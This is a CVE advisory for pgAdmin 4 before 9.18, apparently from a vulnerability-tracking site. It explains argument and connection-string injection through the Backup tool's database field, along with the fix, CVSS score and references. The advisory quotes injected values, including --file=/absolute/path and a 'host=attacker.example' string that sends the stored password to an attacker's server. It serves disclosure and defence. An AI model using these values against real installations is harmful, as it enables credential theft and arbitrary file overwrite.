CVE-2026-86864pgAdmin 4: Argument and connection-string injection via the database field in the Backup tool
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pgAdmin 4's Backup tool appended the client-supplied 'database' field from the /backup/job/<sid>/object request to the pg_dump argument vector as a bare trailing positional argument, without validation. Because pg_dump parses its options with getopt_long, which permutes arguments, a value beginning with a dash was interpreted as an option rather than as a database name. A value such as --file=/absolute/path therefore overrode the storage-confined --file that pgAdmin had constructed earlier, causing pg_dump to write its output anywhere the pgAdmin process could write, outside the user's File Manager storage directory. This yields arbitrary file creation and overwrite as the operating-system account running pgAdmin, which can destroy pgAdmin's own configuration database and, depending on the target chosen, be escalated further. The same field additionally permitted connection-string injection. libpq expands a database name containing an equals sign into a full connection string, and keywords embedded there override the --host and --port that pgAdmin passes, so a value such as 'host=attacker.example port=5432 dbname=x' redirected pg_dump to a server of the attacker's choosing. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection carries that credential to the attacker-nominated endpoint. Both behaviours are reachable by any authenticated user holding the tools_backup permission, which is granted to the default User role. The fix stops passing the database name through the argument vector altogether and supplies it in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. This matches the approach already used by the Import/Export tool. Regression tests assert that the database name is absent from the constructed argument vector and that PGDATABASE carries the exact requested value. This issue affects pgAdmin 4: from the introduction of the trailing positional database argument in the Backup tool before 9.18.
- CVSS
- 8.8 HIGH (v3.1, CNA)CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Weakness (CWE)
- CWE-88, CWE-22
- Known exploited
- Not in CISA's KEV catalog
- EPSS (exploitation in the next 30 days)
- Not loaded for this CVE
- Assigned by
- PostgreSQL
- NVD analysis
- Analyzed
- Record last updated
- Sep 17, 2026
- First seen by InfoSec Signals
- Oct 9, 2026
Affected products
pgadmin.org pgAdmin 4 pgadmin.org:pgadmin_4 (from the name) | before 9.18 | CNA record |
pgadmin pgadmin_4 pgadmin:pgadmin_4 | before 9.18 | NVD |
References
- https://github.com/pgadmin-org/pgadmin4/issues/10384issue-tracking, patch, vendor-advisory
The CVE record on cve.org NVD's entry
The CVE record is authoritative. Products marked “from the name” were identified from the CNA's free-text names, not a CPE, and are matched less certainly. This product uses the NVD API but is not endorsed or certified by the NVD.